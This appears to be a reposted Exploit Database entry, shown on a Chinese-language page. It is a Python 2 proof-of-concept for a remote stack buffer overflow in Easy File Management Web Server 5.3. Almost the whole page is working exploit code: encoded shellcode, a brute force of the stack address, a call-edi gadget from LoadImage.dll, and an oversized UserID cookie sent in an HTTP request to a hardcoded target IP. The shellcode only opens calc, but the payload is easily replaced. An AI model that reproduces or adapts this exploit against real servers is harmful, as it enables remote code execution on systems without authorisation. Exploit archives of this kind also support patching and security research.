Easy File Management Web Server 5.3 – Remote Stack Buffer Overflow

• Exploit Database
• 11 阅读

• 作者： superkojiman
  日期： 2014-05-21
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/33453/

• #!/usr/bin/env python
  
  # Exploit Title: Easy File Management Web Server 5.3 stack buffer overflow
  # Date: 19 May 2014
  # Exploit Author: superkojiman - http://www.techorganic.com
  # Vendor Homepage: http://www.efssoft.com
  # Software Link: http://www.web-file-management.com/download.php
  # Version: 5.3
  # Tested on: English version of Windows XP Professional SP2 and SP3
  #
  # Description: 
  # By setting UserID in the cookie to a long string, we can overwrite EDX which 
  # allows us to control execution flow when the following instruction is 
  # executed:
  #
  # 0x00468702: call dword ptr [edx+28h]
  # 
  # Very similar to Easy File Sharing Web Server 6.8 exploit here: 
  # http://www.exploit-db.com/exploits/33352/
  # I suspect their other web server solutions might be vulnerable to a similar 
  # overflow.
  #
  # Tested with Easy File Management Web Server installed in the default location 
  # at C:\EFS Software\Easy File Management Web Server
  
  
  import socket
  import struct
  import sys
  
  target = "172.16.229.134"
  port = 80
  
  # calc shellcode from https://code.google.com/p/win-exec-calc-shellcode/
  # msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin 
  # [*] x86/shikata_ga_nai succeeded with size 101 (iteration=1)
  shellcode = ( 
  "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
  "\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
  "\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
  "\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
  "\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
  "\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
  "\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
  "\x1c\x39\xbd"
  )
  
  for i in xrange(1,255):
  n = ""
  if i < 16:
  n = "0" + hex(i)[-1]
  else:
  n = hex(i)[2:]
  
  # craft the value of EDX that will be used in CALL DWORD PTR DS:[EDX+28]
  # only second byte changes in the stack address changes, so we can brute 
  # force it
  guess = "0x01" + n + "9898"
  print "trying", guess
  
  payload ="A"*20 # padding
  payload += struct.pack("<I", 0x1001646a)# call edi @LoadImage.dll
  payload += "B"*56 # padding
  payload += struct.pack("<I", int(guess, 16))# guessed address in stack
  # containing pointer to 
  													# call edi
  
  payload += "\x90"*20# nop sled 
  payload += shellcode# win!
  
  # craft the request
  buf = (
  "GET /vfolder.ghp HTTP/1.1\r\n"
  "User-Agent: Mozilla/4.0\r\n"
  "Host:" + target + ":" + str(port) + "\r\n"
  "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
  "Accept-Language: en-us\r\n"
  "Accept-Encoding: gzip, deflate\r\n"
  "Referer: http://" + target + "/\r\n"
  "Cookie: SESSIONID=6771; UserID=" + payload + "; PassWD=;\r\n"
  "Conection: Keep-Alive\r\n\r\n"
  )
  
  # send the request and payload to the server
  s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s1.connect((target, port))
  s1.send(buf)
  s1.close()